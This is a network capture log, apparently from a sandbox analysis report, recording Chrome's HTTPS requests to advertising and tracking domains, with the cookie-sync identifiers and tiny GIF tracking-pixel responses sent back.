Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:10 UTC	774	OUT	GET /profiles_user/ProfilesuserServlet?at=20&dpi=2124307461&pcid=4F23F6C2C1D4438DAA81302CEEAB3C45&ckls=true&ci=pSxpM8lU6E&nc=false&trid=-441508172 HTTP/1.1 Host: sync1.intentiq.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IQver=1.9; intentIQ=pSxpM8lU6E
2024-05-24 22:46:10 UTC	1468	IN	HTTP/1.1 200 Content-Type: image/gif Content-Length: 43 Connection: close Date: Fri, 24 May 2024 22:46:10 GMT Set-Cookie: CSDT=UEQ6MTAwNDNfMCZVRGpidnp6; Domain=.intentiq.com; Expires=Sun, 24 May 2026 22:46:10 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: IQMID=137264047#1716590770543; Domain=.intentiq.com; Expires=Sun, 23 Jun 2024 22:46:10 GMT; Path=/; Secure; SameSite=None Set-Cookie: intentIQCDate=1716590770537; Domain=.intentiq.com; Expires=Sun, 24 May 2026 22:46:10 GMT; Path=/; Secure; SameSite=None Set-Cookie: IQPData=137264047#1716590770532#0#1716590770532; Domain=.intentiq.com; Expires=Sun, 24 May 2026 22:46:10 GMT; Path=/; Secure; SameSite=None Set-Cookie: intentIQ=pSxpM8lU6E; Domain=.intentiq.com; Expires=Sun, 24 May 2026 22:46:10 GMT; Path=/; Secure; SameSite=None Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Sun, 24 May 2026 22:46:10 GMT; Path=/; Secure; SameSite=None Set-Cookie: ASDT=0; Domain=.intentiq.com; Expires=Sun, 24 May 2026 22:46:10 GMT; Path=/; Secure; SameSite=None Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Cache: Miss from cloudfront Via: 1.1 b96dc0b769a91a3fe5483b063383b1c8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: aV_LlVmAGeVaCn5qdmguaQCp3U9c8Q2-xab-t-33g0NAtik68-6ixw==
2024-05-24 22:46:10 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.6	50054	34.254.143.3	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:10 UTC	650	OUT	GET /load/?p=204&g=2191&simid=4F23F6C2C1D4438DAA81302CEEAB3C45&j=0 HTTP/1.1 Host: loadm.exelator.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:10 UTC	995	IN	HTTP/1.1 302 server: nginx date: Fri, 24 May 2024 22:46:10 GMT content-type: image/gif content-length: 0 cache-control: no-cache x-powered-by: Undertow/1 set-cookie: EE="255938791ef4d4d26431397836a1a4e2"; Domain=.exelator.com; Path=/; Max-Age=10368000; Expires=Sat, 21-Sep-2024 10:46:10 GMT; SameSite=None; Secure; set-cookie: ud="eJxrXxzq6XKLQcHI1NTS2MLc0jA1zSTFJMXIzMTY0NjS3MLYLNEw0STVaHFZatGCpaXFqSlJh5ZU5JTkNK0uiw91jHdz9PX0iVywAswJcw1asCS%252FKDN9UWjw4qKUNMZFJcWngo9fSwEAAnIm1Q%253D%253D"; Domain=.exelator.com; Path=/; Max-Age=10368000; Expires=Sat, 21-Sep-2024 10:46:10 GMT; SameSite=None; Secure; p3p: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA location: https://loadm.exelator.com/load/?p=204&g=2191&simid=4F23F6C2C1D4438DAA81302CEEAB3C45&j=0&xl8blockcheck=1 access-control-allow-credentials: true p3p: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.6	50060	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:10 UTC	663	OUT	GET /beachfront HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:10 UTC	625	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:10 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://sync.bfmio.com/sync?pid=141&uid=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:10 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:10 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.6	50061	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:10 UTC	993	OUT	GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFIAQoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdibHVla2Fp
2024-05-24 22:46:10 UTC	564	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:10 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:10 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFOAFCBCICCAE.; expires=Sat, 24 May 2025 22:46:10 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:10 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.6	50057	35.204.158.49	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:10 UTC	414	OUT	GET /pubmatic HTTP/1.1 Host: um.simpli.fi Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:11 UTC	552	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:10 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT Connection: close Expires: Thu, 23 May 2024 22:46:10 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.6	50056	46.228.174.117	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:10 UTC	492	OUT	GET /csync/RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003 HTTP/1.1 Host: sync.targeting.unrulymedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003%22%7D
2024-05-24 22:46:11 UTC	387	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:10 GMT content-length: 43 set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003%22%7D; path=/; expires=Sat, 24 May 2025 22:46:10 GMT; domain=.targeting.unrulymedia.com; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" connection: close
2024-05-24 22:46:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 ff ff ff 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.6	50062	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:10 UTC	660	OUT	GET /bluekai HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:11 UTC	625	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:11 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://stags.bluekai.com/site/29931?id=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:11 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:11 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.6	50058	35.204.158.49	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:10 UTC	415	OUT	GET /freewheel HTTP/1.1 Host: um.simpli.fi Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:11 UTC	552	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:10 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT Connection: close Expires: Thu, 23 May 2024 22:46:10 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.6	50063	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:10 UTC	662	OUT	GET /crwdcntrl HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:11 UTC	635	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:11 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://bcp.crwdcntrl.net/map/c=7625/tp=SIMP/tpid=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:11 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:11 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.6	50065	107.178.240.89	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:11 UTC	728	OUT	GET /user?du=24;csync=4F23F6C2C1D4438DAA81302CEEAB3C45;mimetype=img;sr HTTP/1.1 Host: fei.pro-market.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: anProfile="1+1+1f=1+1g=1+1j=57:1+rs=s+rt=082E7BAF+s2=(se0hwx)"
2024-05-24 22:46:11 UTC	877	IN	HTTP/1.1 302 Found Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" ANServer: gapp8.us1 Set-Cookie: anProfile="-z1ht4icc1y44+1+1f=1+1g=1+1j=57:1+rs=s+rt=082E7BAF+s2=(se0hwx)+vm=24-4F23F6C2C1D4438DAA81302CEEAB3C45"; Domain=.pro-market.net; Max-Age=15552000; Path=/; Secure; SameSite=None; Set-Cookie: anHistory="-z1ht4icc1y44+2+!#7')#]!>Ti"; Domain=.pro-market.net; Max-Age=2592000; Path=/; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 1 Jan 1990 0:0:0 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Location: https://cms.analytics.yahoo.com/cms?partner_id=DATCS Content-Type: image/gif Content-Length: 0 Date: Fri, 24 May 2024 22:46:10 GMT Via: 1.1 google Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.6	50066	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:11 UTC	1480	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22aafbf16b-f44b-4ef0-9b6d-fd431d3a508f%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A2%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmR_PKup4YDFT1vQQId598InA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6213689762165%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D893322139%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerp [TRUNCATED] Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:11 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:45:42 GMT; path=/; secure; SameSite=None X-ServerName: Track001-iad Date: Fri, 24 May 2024 22:45:41 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.6	50064	35.204.158.49	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:11 UTC	411	OUT	GET /yahoo HTTP/1.1 Host: um.simpli.fi Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:11 UTC	552	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:11 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT Connection: close Expires: Thu, 23 May 2024 22:46:11 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.6	50068	34.254.143.3	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:11 UTC	880	OUT	GET /load/?p=204&g=2191&simid=4F23F6C2C1D4438DAA81302CEEAB3C45&j=0&xl8blockcheck=1 HTTP/1.1 Host: loadm.exelator.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EE="255938791ef4d4d26431397836a1a4e2"; ud="eJxrXxzq6XKLQcHI1NTS2MLc0jA1zSTFJMXIzMTY0NjS3MLYLNEw0STVaHFZatGCpaXFqSlJh5ZU5JTkNK0uiw91jHdz9PX0iVywAswJcw1asCS%252FKDN9UWjw4qKUNMZFJcWngo9fSwEAAnIm1Q%253D%253D"
